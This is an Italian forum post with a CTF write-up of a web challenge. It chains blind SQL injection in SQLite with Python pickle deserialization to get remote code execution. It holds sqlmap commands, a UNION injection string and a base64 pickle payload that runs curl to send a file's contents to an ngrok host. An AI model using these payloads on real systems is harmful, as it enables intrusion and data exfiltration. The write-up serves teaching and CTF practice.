Discussione Exploitare una deserializazione arbitraria tramite una Blind SQL Injection

0xbro

Super Moderatore
24 Febbraio 2017
4,464
179
3,755
1,825
Ultima modifica:
Elf Resources è una sfida web di difficoltà medio-facile della X-MAS CTF 2022, che consiste nell'exploitare una Sblind QL Injection per recuperare alcuni oggetti python e sfruttare poi una deserializzazione arbitraria per eseguire codice remoto.
Thumbnail2.jpg



Exploitare una deserializazione arbitraria tramite una Blind SQL Injection | Elf Resources @ X-MAS CTF 2022​

Tradotto da Exploit Arbitrary Deserialization through Blind SQL Injection




1    Introduzione


1.1    Abilità migliorate

  • Sfruttamento di Bind SQL Injections in SQLite
  • Sfruttamento di deserialization insicure tramite l'utilizzo del modulo python pickle.
  • Data exfiltration tramite tecniche OAST

1.2    Strumenti utilizzati

  • burpsuite
  • sqlmap
  • hackvector (burpsuite extension)
  • custom python scripts

1.3    Video




Vedi: https://youtu.be/E7bl0taVWNM


2    Writeup [TL;DR]


2.1    Setup


Collegamento alla challenge: challs.htsp.ro:13001

2.2    Information Gathering


Home page dell'app:

ElfResources1.png


Selezione di un elfo:

ElfResources2.png


ElfResources3.png

HTTP:
GET /1 HTTP/1.1
Host: challs.htsp.ro:13001
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://challs.htsp.ro:13001/
Upgrade-Insecure-Requests: 1

2.3    Exploitation


2.3.1    BOOLEAN BASED SQL-INJECTION


⚠️ Bug: L'id dell'elfo è vulnerabile a boolean-based SQL Injection e può essere sfruttato per enumerare il database.

La matematica viene valutata ed eseguita all'interno dell'id dell'elfo:

ElfResources4.png


Inoltre, è possibile inviare delle query basate su controlli booleani per confermare la SQL Injection:

ElfResources5.png


ElfResources6.png


ElfResources10.png



Verificata inoltre la SQL Injection con sqlmap:

1672090915657.png


Enumerato l'intero db con sqlmap:

⚠️ Attenzione: a volte sqlmap non riesce a estrarre i dati serializzati e restituisce semplicemente una colonna vuota. Usare le opzioni --no-cast o --hex per questi casi.

Bash:
$ sqlmap http://challs.htsp.ro:13001/2 --current-db --all --batch
...
[3 entries]
+----+------------------------------------------------------------------------------------------------------------------------------------------+
| id | data                                                                                                                                     |
+----+------------------------------------------------------------------------------------------------------------------------------------------+
| 1  | gASVUAAAAAAAAACMCF9fbWFpbl9flIwDRWxmlJOUKYGUfZQojARuYW1llIwJU25vd2ZsYWtllIwIYWN0aXZpdHmUjA1QYWNraW5nIGdpZnRzlIwCaWSUTnViLg==             |
| 2  | gASVSwAAAAAAAACMCF9fbWFpbl9flIwDRWxmlJOUKYGUfZQojARuYW1llIwEQmVsbJSMCGFjdGl2aXR5lIwNSGVscGluZyBTYW50YZSMAmlklE51Yi4=                     |
| 3  | gASVWgAAAAAAAACMCF9fbWFpbl9flIwDRWxmlJOUKYGUfZQojARuYW1llIwFU25vd3mUjAhhY3Rpdml0eZSMG0xvb2tpbmcgYXQgdGhlIG5hdWdodHkgbGlzdJSMAmlklE51Yi4= |
+----+------------------------------------------------------------------------------------------------------------------------------------------+
...

Le stringhe trovate sono oggetti python deserializzati.

2.3.2    SQL INJECTION + ARBITRARY DESERIALIZATION


Creato uno script per serializzare degli oggetti python che una volta deserializzati eseguano del codice arbitrario:

1672091031499.png


Bash:
$ python3 script.py
Serialized exploit object: gASVWwAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjEBjdXJsIGh0dHBzOi8vMjI5Yi05My01MS01NC0xODcuZXUubmdyb2suaW8vYGNhdCBmbGFnLnR4dHxiYXNlNjRglIWUUpQu

❓Domanda: Qual è la query SQL che viene creata dal server per gestire la richiesta?

Ipotesi:
  • select "/some/path/"||id from elves where id = <param>
  • select data from elves where id = <param>

Confermata la seconda ipotesi appendendo alla query un oggetto serializzato estratto dal DB tramite una UNION query:

ElfResources8.png


2.3.3    ESFILTRARE LA FLAG


Sfruttata la SQL Injection per inviare una richiesta contenente l'oggetto serializzato (l'intero payload è stato codificato in formato URL per evitare problemi legati ai caratteri speciali all'interno della richiesta):

ElfResources9.png


Nota: l'url decodificato è
0 union select 'gASVWwAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjEBjdXJsIGh0dHBzOi8vMjI5Yi05My01MS01NC0xODcuZXUubmdyb2suaW8vYGNhdCBmbGFnLnR4dHxiYXNlNjRglIWUUpQu'

Ricezione su ngrok della richiesta contenente la flag:

Codice:
$ ngrok http 10099
...
GET /WC1NQVN7M0xmX0h1TTRuX1IzNTB1ckMzNV93MWxMXzgzX0Mwbjc0QzcxTjlfWTB1XzUwMG59 502 Bad Gateway
...
$ echo WC1NQVN7M0xmX0h1TTRuX1IzNTB1ckMzNV93MWxMXzgzX0Mwbjc0QzcxTjlfWTB1XzUwMG59 | base64 -d                                                        
X-MAS{3Lf_HuM4n_R350urC35_w1lL_83_C0n74C71N9_Y0u_500n}


Made with ❤ for Inforge

 

Allegati

  • ChallengeDescription.png
    ChallengeDescription.png
    591 KB · Visualizzazioni: 3